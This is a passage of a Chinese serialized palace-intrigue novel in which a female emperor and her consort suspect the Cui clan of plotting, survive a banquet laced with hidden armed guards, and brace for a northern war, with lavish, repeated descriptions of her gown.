“嗯,看似滴水不漏,实则……将你我的功劳分得太过清楚。而且,近来崔家一系的官员,在士林清议中,虽未明着反对北征,但对孔家之事,总有些仁政、宽恕的论调,隐隐指向……刑罚或许过严。” 慕容嫣冷笑一声,指尖在那墨玉扳指上摩挲: “孔家勾结外敌,谋刺君上,罪证确凿,夷其三族,乃是国法!何来过严之说?崔明远……他崔家与孔家交往甚密,如今孔家覆灭,他崔家倒是稳坐钓鱼台,还博了个识大体的名声。” 她的目光变得幽深, “朕总觉得,他今日那番坐镇中枢的言论,并非无心之失。或许……是在试探,抑或是在……划清界限,甚至,是在为他崔家日后可能的举动,铺垫某种合情合理的立场?” 林臻神色凝重:“你的意思是……崔家可能心怀异志?只是比孔家更懂得隐藏,手段更为高明?” “未必是立刻造反。”慕容嫣摇摇头,眼神冰冷, “但他们或许不甘心只做臣子。孔家倒了,他们崔家似乎成了士林领袖?他们可能想用更温和、更隐蔽的方式,来扩大影响力,甚至……潜移默化地,约束皇权。比如,鼓吹虚君、与士大夫共治天下那一套。今日之言,或许就是一次小心翼翼的试探,想看看朕的反应。” 她说着,站起身,那长长的墨金色拖尾随之在地面上滑动。她走到窗边,望着太液池的粼粼波光,声音带着一丝寒意: “看来,这朝堂之上,明的敌人是漠北,暗处的敌人……或许才刚刚露出冰山一角。孔家是猛火,崔家……可能是慢毒。” 林臻走到她身后,双手轻轻放在她的肩上,语气坚定: “无论是猛火还是慢毒,有我在,绝不会让他们伤到你分毫。崔家若安分守己便罢,若敢有丝毫异动,我定会让他们比孔家下场更惨!” 慕容嫣感受到他掌心传来的力量和决心,心中一暖,身体微微向后靠在他坚实的胸膛上,轻声道: “有夫君在,我自然不怕。只是……明枪易躲,暗箭难防。崔家树大根深,门生故旧遍布朝野,处理起来,需得更加谨慎,不能像对付孔家那样雷霆万钧了。否则,容易引起士林动荡,于北疆战事不利。” “我明白。”林臻揽住她的腰,低声道, “我会让夜枭加紧对崔家及其关联势力的监控,尤其是他们与各地书院、清流言官的往来。同时,在朝中,我也会留意哪些人与崔家走得近,哪些事可能受他们影响。我们要做到知己知彼,方能从容应对。” “嗯。”慕容嫣轻轻应了一声,将头靠在他肩上,闭上了眼睛,享受着这片刻的宁静与依靠。 第1067章 初见端倪 春光渐暮,夏意初显。 连月来,随着北疆军情日益紧张,朝廷中枢如同一架高速运转的机器,各项战备事宜紧锣密鼓地进行着。 慕容嫣坐镇紫宸殿,批阅的奏章如雪片般飞来,大多与粮草调运、兵员补充、边关防务相关。 林臻更是频繁出入枢密院与兵部,与将领们商议细节,常常至深夜方归。朝堂之上,主战的气氛已然占据绝对上风。 然而,在这看似众志成城的表象之下,一股潜藏的暗流,却因孔家被夷族之事,始终未曾平息,反而在特定的圈子里,悄然涌动着。 这一日,慕容嫣在紫宸殿偏殿处理政务直至华灯初上。 殿内烛火通明,映照着她略显疲惫却依旧专注的侧脸。 她身上依旧只穿着那身神凤降世裙,外罩的黑金色霞帔因殿内暖和,已解下搭在一旁的风形衣架上。 墨黑的苏锦底料在烛光下,吸吮着光线,更显沉静深邃,织入的金色棉绒与金线绣成的凤凰暗纹,在她凝神批阅时,流淌着内敛而持重的辉光。 苏锦工艺的精湛,确保了这件棉质睡裙即便长时间端坐,亦不觉特别沉重闷热。 那长达五丈的苏锦拖尾,从凤椅之下迤逦铺开,在光洁的金砖地面上蜿蜒,因她整日伏案,裙摆被座椅、脚踏无意中挤压、牵扯,更因她偶尔起身踱步思考而拖动,形成了数道深刻的褶皱和杂乱的曲线,显得格外凌乱,无声地诉说着主人一日辛劳。 宽大的喇叭袖一只软软垂在案边,袖缘金线流苏拂过地面,另一只则被她用来微微支撑着额角。 她左手拇指上的墨玉扳指,在烛光下泛着幽深的光泽。 林臻踏着夜色走进殿内,身上还带着一丝户部衙门特有的墨香与尘嚣之气。 他挥手屏退了侍立的宫人,走到慕容嫣身边,并未立刻出声打扰,只是静静地站着,目光落在她微蹙的眉心上,眼中满是心疼。 慕容嫣似有所觉,抬起眼,看到是他,紧绷的神色瞬间柔和下来,唇角微微上扬,带着一丝倦意的撒娇: “夫君回来了……今日户部那边,粮草调度可还顺利?” 她边说,边自然地放下朱笔,向他伸出手。 林臻立刻握住她微凉的手,在手心暖着,同时在她身旁的锦墩上坐下,温声道: “大体顺利,只是江淮漕运近日因春汛略有迟滞,已加派人手督运,应不误北疆之需。倒是你,看了整日奏章,眼神都倦了,该歇歇了。” 他伸手,极其自然地替她按揉着太阳穴,力道适中。 慕容嫣舒适地闭上眼,将头靠在他肩头,轻叹一声:“还好有夫君替我分担这许多琐务。只是……近日些奏章,看着总觉有些……不对劲。” 她睁开眼,目光恢复清明,从案几上抽出几份并非直接关乎军务的奏章,递给林臻, “夫君你看,这几份是御史台和礼部递上来的,内容多是谈论今岁秋闱取士标准、或是各州县兴修水利、教化百姓之事,字里行间,却总在强调仁政、宽恕、士子气节、礼法传承……” 林臻接过奏章,快速浏览,眉头渐渐锁起。 这些奏章行文缜密,引经据典,看似老生常谈,但结合近期局势,其指向性便有些微妙。 尤其在几处提及“不可因一时之功而废弛礼教”、“治国当以仁德为本,刑罚为辅”时,笔锋虽隐晦,却隐约透出一股对孔家被“严刑峻法”处置的不以为然。 “还有,”慕容嫣坐直身体,指尖点着其中一份由一位以清流自居的翰林学士所上的奏章, “你看这里,他大力举荐几位出身清河、博陵的年轻士子,称其家学渊源,深谙圣人之道,堪为士林表率……这清河崔氏、博陵崔氏,与那曲阜孔氏,可是世代姻亲,交情匪浅。” 林臻放下奏章,冷哼一声: “看来,孔家这颗大树倒了,猢狲虽散,却总有些旁的树木,觉得唇亡齿寒,或是想趁机揽过这士林清议的大旗。崔明远那日宴席上的话,果然不是无心之失。” 慕容嫣靠回椅背,指尖无意识地缠绕着垂落肩头的一绺青丝,凤眸中闪过一丝冷意: “他们不敢明着反对北征,更不敢非议朝政,便在这些看似不相关的教化、取士之事上做文章,迂回地表达不满,试图潜移默化地影响舆论,甚至……或许是想在未来的朝堂中,安插更多倾向于他们仁恕之道的人。这比孔家那般明目张胆的叛逆,更需警惕。” “嫣儿所虑极是。”林臻握住她的手,语气沉稳中带着锐利, “崔家树大根深,门生故吏遍布天下,尤其在士林清流中影响力巨大。他们若存心搅动风雨,确实比孔家更难应付。不过,眼下北疆战事为重,朝局稳定是第一要务。对这些暗流,我们需心中有数,暗中留意,但不宜大动干戈,以免打草惊蛇,反被其利用,煽动士林不满,影响前线军心。” 慕容嫣点了点头,眼中闪过一丝疲惫,但更多的是一种洞悉一切的冷静: “朕明白。眼下确实不是清理内患的最佳时机。只要他们不公然作乱,不阻碍北征大计,朕可以容他们暂时蜷缩。但……” 她话锋一转,语气变得斩钉截铁, “若有人敢趁国战之际,行掣肘之事,或与外部势力暗通款曲,朕绝不姑息!孔家,便是前车之鉴!” 她的声音不高,却带着一股凛然的杀气,在这温暖的寝殿内弥漫开来。 那身神凤降世裙的墨金色泽,仿佛也随着她情绪的波动而显得更加深沉。 就在这时,殿外传来内侍谨慎的通报声,称崔明远有要事求见,是关于今岁祭孔大典的仪程安排。 慕容嫣与林臻对视一眼,眼中都闪过一丝了然。 慕容嫣迅速收敛了外露的情绪,恢复了帝王的威仪,扬声道:“宣。” 崔明远躬身入内,行礼如仪。他今日穿着正式的官服,更显儒雅从容。 他呈上奏章,口齿清晰地禀报着祭孔大典的筹备情况,言语间对先师孔子极尽尊崇,对礼法规制一丝不苟,完全是一副恪尽职守的忠臣模样。 慕容嫣静静听着,偶尔询问一两处细节,态度平和,甚至带着赞许:“崔爱卿办事,朕素来放心。祭孔大典,乃国之盛典,关乎文脉传承,务必隆重周全,以示朝廷崇文重道之心。” 崔明远连称陛下圣明,又道: “陛下励精图治,文治武功,天下共睹。今岁大典,各方大儒、士子皆翘首以盼,正可彰显陛下教化之功,凝聚士林之心,于当前北疆战事,亦是一大助益。” 他这话,听起来依旧是满满的恭维与为国着想。 然而,在慕容嫣听来,这“凝聚士林之心”几字,却别有深意。 她微微一笑,不置可否:“但愿如此。有劳崔爱卿费心了。” 崔明远又禀报了几句,见慕容嫣并无更多指示,便恭敬地告退。 自始至终,他的言行举止,挑不出一丝错处。 待崔明远离去,殿内重归寂静。 慕容嫣看着那份关于祭孔大典的奏章,嘴角勾起一抹冰冷的弧度: “夫君,你看,这祭孔大典,办得越隆重,在某些人眼中,恐怕越是衬托出孔家绝嗣的凄惨,越是显得朕……刻薄寡恩吧?” 林臻走到她身边,揽住她的肩膀,语气坚定: “是非功过,自有后人评说。你我但求问心无愧,护得这江山社稷安稳。至于些许流言蜚语,不过是秋虫鸣叫,何足挂齿?待北疆大捷,四海升平,这些杂音,自然烟消云散。” 第1068章 圣人之道,贵在中和 慕容嫣将头靠在他胸前,感受着他有力的心跳,心中的些许阴霾渐渐散去。 她轻声道:“嗯,我知道。只是有时觉得,这龙椅之上,看得越多,人心便越是觉得寒凉。” “人心虽寒,但总有温暖在。”林臻低头,在她发间落下一吻,“至少,你有我。无论何时,我都在你身边。” 慕容嫣心中暖流涌动,正欲说话,忽然想起一事,转身想去取案几另一侧的一份关于北疆军械打造的奏报。 就在她回身的瞬间—— 动作带着对朝堂暗涌的洞察与对身边人依赖的安心! 那迤逦在凤椅之下、铺散凌乱长达五丈的墨金色苏锦拖尾,被这骤然转身的动作带动! 华贵的锦缎拂过光滑的地面,发出“唰啦”一声轻响。 随着拖尾的悄然飘起——赫然露出了里面那金线密织、在殿内温暖烛光映照下、闪烁着如同暗夜中指引方向的星辰般坚定而清冷光芒的“满地织金”内衬! 那只布满整件睡裙和连体拖尾的凤凰纹路,在瞬间迸发出一种于复杂局势中保持清醒、洞悉人心、并拥有绝对力量掌控全局的、睿智而凛然的金芒! 那光芒充满了对潜在威胁的警惕、对自身道路的坚信,以及一种与所爱之人并肩面对一切风雨的从容与力量,尊贵、辉煌,且带着一种历经世事后的通透与坚韧! 裙摆落下,将那片清冷的金光掩盖。慕容嫣取过奏报,与林臻继续低声商议起来。 窗外,夜色深沉。 ...... 夏意渐浓,长安城绿树成荫,百花繁盛。 然而,朝堂之上的暗流,并未因季节的温暖而消融,反而随着北疆战事的迫近与内部势力的微妙平衡,显得愈发波谲云诡。 慕容嫣与林臻深知,在全力应对漠北威胁的同时,对帝国内部的潜在隐患,绝不能掉以轻心。 尤其是以崔氏为首、对孔家覆灭心存芥蒂的世家大族,其动向更需密切关注。与其等待对方在暗处谋划,不如主动出击,一探虚实。 于是,一场看似寻常的、带有抚慰与示好意味的“家宴”,在慕容嫣的授意下,于崔氏在长安城的府邸中举行。 崔氏府邸位于城东崇仁坊,虽不及王府恢弘,却占地广阔,亭台楼阁,曲径通幽,处处透着百年世家沉淀下的底蕴与奢华,一草一木,一砖一瓦,似乎都暗合着某种不易察觉的规矩与气度。 酉时三刻,帝后銮驾抵达崔府。 府门大开,以崔氏族长、礼部侍郎崔明远为首,阖府男丁及有品级的女眷,皆身着礼服,跪伏在府门外的青石甬道上,恭敬迎驾。 气氛庄重而肃穆。 慕容嫣在林臻的搀扶下,步下凤辇。 她今日的装束,依旧是她那身独一无二的神凤降世裙,只是在外面罩上了一件更为庄重、绣工极其繁复的黑金色霞帔,以契合这正式拜访的场合。 初夏的夕阳余晖,金灿灿地洒落,为她这身衣袍镀上了一层温暖的光晕。 那神凤降世裙,墨黑的苏锦底料在光下泛着幽深的光泽,织入的金色棉绒与金线绣成的凤凰暗纹,流淌着一种既华贵又内敛的辉光。 苏锦的轻盈特性,使得这件棉质睡裙即便在渐热的天气里,也依旧保持着舒爽贴体。 长达五丈的苏锦拖尾,迤逦在她身后,随着她优雅的步伐,拖曳在崔府门前打扫得一尘不染、却依旧难掩岁月痕迹的光滑石板上,自然而然地铺散开,形成蜿蜒的、带着皇室威严的凌乱轨迹。 宽大的喇叭袖口,金线流苏随风轻摆。她左手拇指上的墨玉扳指,温润生辉。 “臣崔明远,率阖族恭迎陛下、亲王殿下圣驾!陛下与殿下亲临寒舍,蓬荜生辉,臣等惶恐!” 崔明远声音洪亮,透着恰到好处的激动与恭顺,深深叩首。 “崔爱卿平身,诸位请起。”慕容嫣声音平和,带着一丝淡淡的、符合身份的威仪,“今日乃是家宴,不必如此多礼。朕与亲王,也是久闻崔府园林精巧,特来叨扰,与爱卿闲话家常。” “陛下与殿下驾临,乃臣阖族无上荣光!快请入内!” 崔明远连忙起身,侧身引路,姿态谦卑至极。 林臻紧随慕容嫣身侧,目光看似随意地扫过迎接的人群以及府内的环境,脸上带着温和的笑意,与几位认识的崔氏子弟点头致意,但那双锐利的眼睛,却如同最精密的仪器,不放过任何一丝异常。 他敏锐地注意到,府中护卫似乎比寻常公侯府邸要多,且个个眼神精悍,步履沉稳,虽然都垂手侍立,但站姿方位,隐隐透着章法。 更让他心中微凛的是,在通往正厅的回廊阴影处、以及远处假山花木的掩映下,似乎有极其轻微的、金属与皮革摩擦的窸窣声,以及几道一闪而过的、带着精光的身影。 空气中,除了花香和酒菜香气,似乎还混杂着一丝极淡的、属于兵刃的冷铁气息。 “有埋伏。”林臻心中瞬间闪过这个念头,但他面色不变,只是更加靠近了慕容嫣半步,袖中的手微微绷紧,全身肌肉处于一种蓄势待发的状态。 他侧头,极快地与慕容嫣交换了一个眼神。 慕容嫣似乎毫无所觉,依旧面带浅笑,在崔明远的引导下,缓步前行。 她甚至颇有兴致地欣赏着路旁的奇花异草,偶尔还出声询问一两句名称典故,显得轻松惬意。 然而,在她宽大的喇叭袖掩盖下,她的指尖,几不可察地轻轻触碰了一下林臻的手背,示意自己已知晓,让他稍安勿躁。 宴席设在崔府最为雅致的花厅“漱芳斋”内。 厅内陈设极尽奢华,却又透着文雅气息,名家字画,古玩玉器,不一而足。 宾主落座,慕容嫣自然居于主位,林臻坐于其侧。 那长长的墨金色拖尾,在铺着厚厚绒毯的花厅内铺散开,更显雍容华贵,也使得那“凌乱”的铺陈带上了几分不容置疑的王者气度。 酒过三巡,菜过五味。 席间丝竹悦耳,歌舞曼妙。 崔明远及其族中子弟,应对得体,言辞恭敬,不断敬酒,歌功颂德,气氛看似十分融洽和谐。 崔明远更是多次提及孔家之罪,盛赞慕容嫣铲除逆党的英明神武,言语恳切,仿佛与孔家毫无瓜葛,甚至深恶痛绝。 然而,酒至半酣,一位崔氏旁支的老者,似乎是多饮了几杯。 起身敬酒时,话语间却带出了几分“得饶人处且饶人”、“圣人之道,贵在中和”的意味,虽然立刻被崔明远厉声喝止, 并以“胡言乱语”为由罚酒三杯,但那瞬间的沉寂与尴尬,却如同投入静湖的石子,激起了涟漪。 慕容嫣端坐其上,手中把玩着夜光杯,脸上笑容不变,凤眸中却闪过一丝不易察觉的冷光。 她轻轻抿了一口酒,淡淡道: “圣人之道,自然贵在中和。然,治国之道,亦需明刑弼教。对忠良,自当宽仁;对逆贼,则需雷霆。否则,何以彰天道,何以安民心?崔爱卿,你说是不是?”她的目光看似随意地落在崔明远身上。 崔明远额头瞬间渗出细汗,连忙离席跪倒: “陛下圣明!臣族叔老迈昏聩,胡言乱语,冲撞圣听,臣罪该万死!陛下执法如山,扫清寰宇,实乃江山之幸,万民之福!” 他语气惶恐,姿态放得极低。 “爱卿言重了。”慕容嫣微微一笑,抬手虚扶,“家常宴饮,偶有失言,何至于此?快快请起。今日只论风月,不谈国事。” 她语气轻松,将方才那点风波轻轻揭过。 但经过这一番,席间气氛终究微妙地变化了。 虽然歌舞依旧,笑语依然,但那隐在暗处的刀斧手的存在感,似乎更强了。 第1069章 鸿门宴 林臻能感觉到,至少有三道充满审视与警惕的目光,时不时地从不同的隐蔽角落扫过他和慕容嫣。 慕容嫣却仿佛浑然未觉,甚至兴致更高了些。 她转向林臻,语气带着一丝娇嗔,如同寻常妻子对夫君抱怨般: “夫君,这崔府的家酿果然醇厚,后劲倒是不小,朕觉得有些发热了。” 说着,她还用手背轻轻贴了贴自己的脸颊。 林臻会意,立刻柔声接道:“陛下不胜酒力,便少饮些。崔侍郎府上这酒,确是陈年佳酿。” 他边说,边自然地从宫女手中接过一碗冰镇酸梅汤,亲自试了试温度,才递到慕容嫣手中, “喝点这个解解酒气。” 慕容嫣接过玉碗,小口啜饮,眼角眉梢带着对林臻的依赖,笑道:“还是夫君想得周到。” 她放下碗,又对崔明远道: “崔爱卿,朕听闻府上后园的荷塘月色乃是一绝,不知今日可否有幸一观?” 崔明远连忙道:“陛下厚爱,臣之荣幸!只是如今天色已晚,塘边路滑,恐惊了圣驾……” “无妨,”慕容嫣摆摆手,站起身来,“正好酒酣饭饱,散步醒酒。有亲王在身边,朕有何可惧?” 语气轻松,却带着不容拒绝的意味。 就在她站起身的瞬间—— 动作带着宴饮间的随意与起身的自然! 那铺散在座椅周围、绒毯之上、迤逦凌乱长达五丈的墨金色苏锦拖尾,被这骤然起身的动作带动! 华贵的锦缎拂过柔软的地毯,发出轻微的摩擦声。 随着拖尾的悄然飘起——赫然露出了里面那金线密织、在花厅璀璨灯烛光芒映照下、闪烁着如同暗夜中蓄势待发的火焰般炽热而凛冽光芒的“满地织金”内衬! 那只布满整件睡裙和连体拖尾的凤凰纹路,在瞬间迸发出一种于谈笑风生中洞悉危机、于重重包围下睥睨自若的、无比耀眼而威严的金芒! 那光芒充满了对潜在杀机的蔑视、对自身实力的绝对自信,以及一种将一切阴谋算计都踏于脚下的帝王气魄,尊贵、辉煌,且带着一种无声的、却足以震慑宵小的强大压迫感! 这惊鸿一瞥,是她对暗中窥伺者的最直接回应。 裙摆落下,将那片凛然的金光与无声的警告掩盖。 慕容嫣笑意盈盈,仿佛只是欣赏了一次华丽的转身。 但那一瞬间流露出的、与平日温和截然不同的锐利与威压,却让离得最近的崔明远心中猛地一颤,背后瞬间被冷汗浸湿。 他甚至能感觉到,暗处那些埋伏的刀斧手,呼吸都为之一滞。 “崔爱卿,前头带路吧。”慕容嫣的声音依旧平和。 崔明远不敢再有丝毫犹豫,连忙躬身引路。 林臻紧随慕容嫣身侧,目光如电,扫视着周围。 他能感觉到,那些隐藏在暗处的气息,随着他们的移动也在悄然调整位置,但却没有任何人敢轻举妄动。 荷塘边,月色朦胧,清风徐来,水波不兴。 慕容嫣与林臻并肩而立,欣赏着夜景,偶尔低语几句,宛如一对神仙眷侣。 崔明远及一众崔氏子弟恭敬地陪侍在稍远的地方,气氛看似闲适,实则暗藏机锋。 停留片刻后,慕容嫣便以“夜深风露重”为由,起驾回宫。 崔明远率众一直恭送到府门外,直至銮驾远去,才直起身,望着消失在夜色中的车驾,脸上恭敬的笑容渐渐消失,取而代之的是一种极度的后怕与深沉。 他挥手斥退左右,独自站在夜风中,良久,才长长吐出一口浊气,低声自语:“慕容嫣……林臻……好厉害的锋芒……好沉得住气……” 他知道,今日这场鸿门宴,他崔家,非但没能试探出什么,反而被对方彻底震慑住了。 那些刀斧手,在女帝那不经意间流露的、如同实质的凤威面前,形同虚设。 回宫的銮驾内,慕容嫣靠在软垫上,闭上眼,轻轻揉了揉眉心。 “嫣儿,没事吧?”林臻关切地问,握住她的手。 慕容嫣睁开眼,眼中已是一片清明冷静,嘴角勾起一抹冷冽的弧度: “没事。崔明远……果然包藏祸心。今日他布下刀斧手,一是试探你我胆量,二是想万一谈不拢,或可铤而走险。可惜……” 她冷哼一声, “他终究没那个胆子。” “嗯,”林臻点头,目光深邃,“经此一事,他短期内应不敢再有何异动。但崔家……其心已异,需得长期戒备。” “我知道。”慕容嫣将头靠在他肩上,轻声道, “不过,今日之后,他应该更清楚,这大乾的江山,不是他崔家能轻易撼动的。眼下,且容他再蜷缩些时日。待北疆事了……” 她的话没有说完,但其中的寒意,已然分明。 车驾驶入皇城,将崔府的刀光剑影与暗流涌动,暂时隔绝在外。 ...... 夜。 紫宸宫深处,寝殿“栖凤阁”内烛火通明,却静得只闻更漏滴答之声。 窗外月华如水,倾泻在汉白玉雕砌的凤纹窗棂上,映得殿内光影朦胧。 白日里崔府那场暗藏锋机的宴饮,虽已过去几个时辰,但其间暗流涌动的紧张感,却如同殿内氤氲不散的淡淡安神香气,依旧萦绕在空气之中。 慕容嫣并未安寝。 她独自一人,静静伫立在寝殿外间那扇正对庭院、敞开的雕凤琉璃窗前。 夜风微凉,带着初夏花草的清新气息拂入殿内,轻轻吹动她未绾的如墨青丝,也拂动着她身上那件作为唯一寝衣的神凤降世裙。 此刻,她褪去了白日罩在外面的黑金色霞帔,仅穿着贴身的睡裙。 那神凤降世裙,在殿内柔和宫灯与窗外清冷月光的交织映照下,呈现出一种极其独特的质感。 极致玄黑的苏锦底料,仿佛将光线都吸了进去,显得愈发深邃沉静,如同子夜的天鹅绒幕布。 而织入其中的金色棉绒,以及用最上等真金线、以卓绝技艺绣制的那只布满整件睡裙的擎天巨凤纹样,则在暗色底上,流淌着一种内敛而温润的辉光,不似白日耀眼,却更显华贵神秘。 苏锦工艺赋予了这件棉质睡裙无与伦比的轻盈与透气感,即便在这静谧的深夜,穿着这裙幅巨大的衣裳,也只觉得贴合舒适,丝毫不觉特别沉重。 那长达五丈的苏锦拖尾,并未经任何宫人整理,就那般自然地、迤逦地铺散在她身后的金砖地面上。 从她伫立的窗边,一直蜿蜒至内殿的凤榻之前,甚至有几缕滑入了通往浴殿的侧门廊下。 因她白日奔波、夜间又久立沉思,裙摆皱褶层叠,蜿蜒扭曲,在光滑的地面上形成一片充满动态的、恣意的凌乱,无声地诉说着主人心绪的不宁。 宽大的喇叭袖一只软软垂在身侧,袖口繁复的金线流苏边缘轻触地面,另一只则被她无意识地抬起,纤长的手指轻轻搭在冰凉的窗棂上,指尖那枚墨玉扳指,在月色下泛着幽深的光泽。 她望着窗外庭院中那株在月下姿态婆娑的古海棠,凤眸中却并无赏景的闲适,而是充满了凝重的思虑。 崔府暗伏的刀斧手、崔明远那看似恭顺实则试探的言语、乃至席间那老者“失言”透露出的世家对孔家之事隐隐的不满…… 这一切,都清晰地指向一个事实:内部的隐患,远比漠北明刀明枪的威胁更为棘手。 北疆大战在即,若后方这些盘根错节的世家大族心怀异志,稍有不慎,便是腹背受敌之局。 “吱呀——”一声轻响,寝殿的门被轻轻推开。 第1070章 大战将至 林臻带着一身夜露的微凉气息,悄无声息地走了进来。 他已换下亲王常服,穿着一身玄色软缎寝衣,外罩一件同色薄氅,显然也是刚从御书房处理完紧急军报归来。他挥手屏退了门口侍立的宫女,轻轻阖上门。 看到慕容嫣独自伫立窗前的背影,那迤逦在地的墨金色长长拖尾,在月光烛影下,更显孤寂而威仪,林臻眼中闪过一丝心疼。他放轻脚步,走到她身后。 “嫣儿,这么晚了,怎么还不歇息?窗口风大,当心着凉。”他的声音低沉而温柔,带着显而易见的关切。他伸出手,并未直接触碰她,而是将带来的那件黑金色霞帔,轻轻披在了她略显单薄的肩头。 慕容嫣似乎早已察觉他的到来,并未回头,只是微微向后,将背脊靠向他温暖坚实的胸膛,发出一声几不可闻的轻叹: “夫君,你回来了……北疆可有新的消息?” 她的声音带着一丝疲惫的沙哑,语气中充满了依赖。 林臻顺势伸出双臂,从身后环住她纤细的腰肢,将下颌轻轻抵在她散发着淡香的发顶,低声道: “刚收到郑蛟的密报,漠北王庭各部调动频繁,小股斥候的摩擦近日加剧了数倍,乌维的大纛已出现在边境百里之外。大战,恐怕就在旬日之间。” 他的语气凝重。 慕容嫣闭上眼,深吸了一口气,身体微微绷紧。 良久,她才缓缓道:“该来的,终究要来。” 她转过身,仰起脸看他,月光下,她的脸色有些苍白,但眼神却异常清亮坚定, “朝中……今日崔府之事,你怎么看?” 林臻捧起她的脸,拇指轻轻抚过她微蹙的眉心,沉声道: “崔明远包藏祸心,已毋庸置疑。他今日摆下刀斧手,一是试探你我胆魄,二是示警,表明他崔家并非毫无还手之力。但他最终未敢动手,一是慑于天子之威,二是……时机未到。北疆战事未明,他不敢贸然背上‘勾结外敌、逼宫作乱’的千古骂名。他在等,等一个他认为最有利的时机。” “等?” 慕容嫣冷笑一声,凤眸中寒光一闪, “等漠北与我们两败俱伤?还是等朝中因战事生变,他好趁机攫取权柄,甚至……行那废立之事?” 她的话语尖锐,直指核心。 “都有可能。”林臻目光锐利, “崔家树大根深,在士林和朝堂势力盘根错节,若与漠北内外勾结,或是趁国战动荡之际发难,确是大患。不过……” 他话锋一转,语气带着强大的自信与安抚, “嫣儿也不必过于忧心。今日我们坦然赴宴,安然归来,已是对他最大的震慑。他已知晓,你我并非毫无防备的昏聩之主。眼下,北疆战事为重,我们需稳住朝局,全力支持郑蛟。只要北疆大捷,携大胜之威,届时再回头收拾这些魑魅魍魉,易如反掌。” 慕容嫣靠在他怀中,伸手环住他的腰,将脸贴在他胸前,听着他稳健有力的心跳,心中的焦躁渐渐平复了些。 “夫君所言甚是。只是……一想到前线将士浴血拼杀,后方却有人心怀鬼胎,朕这心里……” 她的声音带着一丝委屈和愤怒,更像是在向最亲近的人倾诉脆弱。 “我明白。”林臻收拢手臂,将她紧紧拥住,仿佛要将所有风雨都为她遮挡在外, “所以,我们更要冷静。对崔家,眼下宜用‘稳’字诀。明面上,依旧示以恩宠,该有的赏赐、该予的权位,照旧给他,甚至可稍加优容,以示朝廷宽宏,稳定士林之心。暗地里,则需加强监控,尤其是其与各地督抚、军中将领、乃至……漠北可能存在的联系渠道,必须牢牢掌控在我们手中。我已加派了‘夜枭’中最得力的干将,专门负责此事。” “嗯,”慕容嫣在他怀中轻轻点头, “朝政上,有杜相、周尚书等忠贞之臣,军权有你亲自把握,京畿防务更是固若金汤。只要我们自己不乱,崔明远翻不起大浪。” 她顿了顿,抬起头,眼中恢复了一国之君的冷静与决断, “待北疆捷报传来,朕便要好好清算一下,这些年来,到底有多少人,对着孔家的覆灭,在暗中滴淌着不该有的眼泪!” 她的语气中带着凛冽的杀意,与方才流露出的柔弱判若两人。 林臻低头,看着她在月光下清冷绝艳又威仪天成的脸庞,心中爱怜与自豪交织。 这就是他的妻子,他的女帝,既能依偎在他怀中展现小女儿情态,亦能于谈笑间执掌生杀予夺。 “好,都依你。”他柔声应道,俯身在她光洁的额头上印下一个轻吻,“夜深了,你今日也劳神了,该歇息了。北疆之事,有我。你只需养精蓄锐,静待佳音便可。” 慕容嫣顺从地点点头,任由他牵着手,走向内殿的凤榻。 就在她转身,准备离开窗边的瞬间—— 动作带着商议已定、心绪稍安后的舒缓与自然! 那迤逦在身后、铺散凌乱长达五丈的墨金色苏锦拖尾,被这转身移步的动作悄然带动! 华贵的锦缎拂过光滑如镜的金砖地面,发出极其细微的“窸窣”声响,在寂静的寝殿内清晰可闻。 随着拖尾的轻柔飘起——赫然露出了里面那金线密织、在宫灯暖光与窗外冷月清辉共同映照下、闪烁着如同暗夜星河与晨曦微光交融般深邃而充满希望光芒的“满地织金”内衬! 那只布满整件睡裙和连体拖尾的凤凰纹路,在瞬间迸发出一种于重重压力下做出决断、对未来充满掌控信心的、无比沉静而强大的金芒! 那光芒充满了对伴侣的全然信赖、对艰难局面的清醒认知,以及一种携手共渡难关、必将迎来曙光的坚定信念,尊贵、辉煌,且在此刻蕴含着卸下部分重担后的安宁与力量! 裙摆落下,将那片象征着信心与希望的璀璨金光掩盖。 慕容嫣与林臻相携走向凤榻。 宫人早已铺好了锦被,熏好了安神香。林臻细心替她取下霞帔,整理好枕衾。 “夫君,” 慕容嫣躺下后,却拉着林臻的手不肯放,凤眸在黑暗中闪烁着微光,带着一丝撒娇的意味, “你陪我说说话,等我睡着了再走,好不好?” “好,”林臻在榻边坐下,为她掖好被角,握住她的手,柔声道, “我不走,就在这儿陪着你。睡吧,我的女帝陛下。” 慕容嫣安心地闭上眼睛,唇边漾开一抹浅浅的笑意,很快便在那令人安心的气息包围中,沉沉睡去。 第1071章 战争终究还是来了 夏日的雷雨毫无征兆地席卷了长安城,狂风裹挟着豆大的雨点,猛烈地敲打着紫宸宫宫殿的琉璃瓦,发出噼里啪啦的声响,如同战鼓急擂。 一道道惨白的电光撕裂墨黑的夜空,瞬间将殿内映照得如同白昼,随即又被更深的黑暗吞没,唯有隆隆的雷声在天际翻滚,震得人心头发颤。 栖凤阁内,烛火在穿堂而过的风中摇曳不定,将人影拉长扭曲,投在绘满凤凰翔舞图案的墙壁上。 慕容嫣并未因这恶劣的天气而提前安寝,她端坐在外间书房那张宽大的紫檀木凤纹书案之后,案上堆积如山的,不再是寻常的政务奏章,而是北疆各地呈送来的军情邸报、边防舆图以及兵部拟定的各项调度方案。 北疆的局势,如同这窗外的天气,已然是山雨欲来风满楼。 她身上依旧只穿着那身神凤降世裙,因夜深且是在私密的内殿书房,并未罩上那件黑金色霞帔。 然而,即便是在这雷雨交加的深夜,这身作为她唯一寝衣的裙袍,依旧散发着不容忽视的威仪。 墨黑的苏锦底料在跳跃的烛光下,吸收着光线,呈现出一种比夜色更沉静的玄黑,织入其中的金色棉绒与金线绣成的凤凰暗纹,则在每一次电光闪过时,骤然迸发出一瞬流烁的、如同暗夜中蛰伏龙瞳般的金色幽光,随即又内敛下去,只在衣料的褶皱间流淌着温润的辉光。 苏锦工艺赋予这件棉质睡裙的轻盈特性,在此刻更显其优越,即便裙幅巨大,也不会在闷热的雨夜带来额外的沉重与黏腻感。 那长达五丈的苏锦拖尾,并未拘束,从凤纹书案之后迤逦铺开,越过光滑的金砖地面,一部分堆叠在椅脚旁,更多的则蜿蜒至书房门口,甚至有几缕滑入了通往寝卧的珠帘之下。 因她长时间凝神阅图、时而起身对照悬挂的巨幅北疆舆图,裙摆被座椅滑轮、自身步履以及偶尔掠过的疾风带动,皱褶层叠交错,在身后铺陈出一片充满了动态与焦灼感的凌乱轨迹。 宽大的喇叭袖,一只被她用来微微支撑着正阅读一份紧急军报的额角,袖口的金线流苏垂落案面,另一只则软软搭在铺开的边防地图上,指尖无意识地划过上面标注的敌我态势符号。 